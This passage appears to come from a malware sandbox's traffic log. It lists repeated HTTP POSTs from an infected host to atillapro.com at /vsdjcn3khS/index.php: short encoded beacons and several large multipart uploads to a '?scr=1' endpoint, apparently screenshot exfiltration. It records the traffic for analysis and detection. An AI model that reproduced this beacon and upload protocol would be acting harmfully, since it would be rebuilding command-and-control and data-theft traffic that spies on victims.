Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODUwOTg=Host: atillapro.comContent-Length: 85250Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODUwOTg=Host: atillapro.comContent-Length: 85250Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODg0MTU=Host: atillapro.comContent-Length: 88567Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODUwOTg=Host: atillapro.comContent-Length: 85250Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODUwOTg=Host: atillapro.comContent-Length: 85250Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODUyNjE=Host: atillapro.comContent-Length: 85413Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTExMjQ=Host: atillapro.comContent-Length: 91276Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODUwOTg=Host: atillapro.comContent-Length: 85250Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODUwOTg=Host: atillapro.comContent-Length: 85250Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
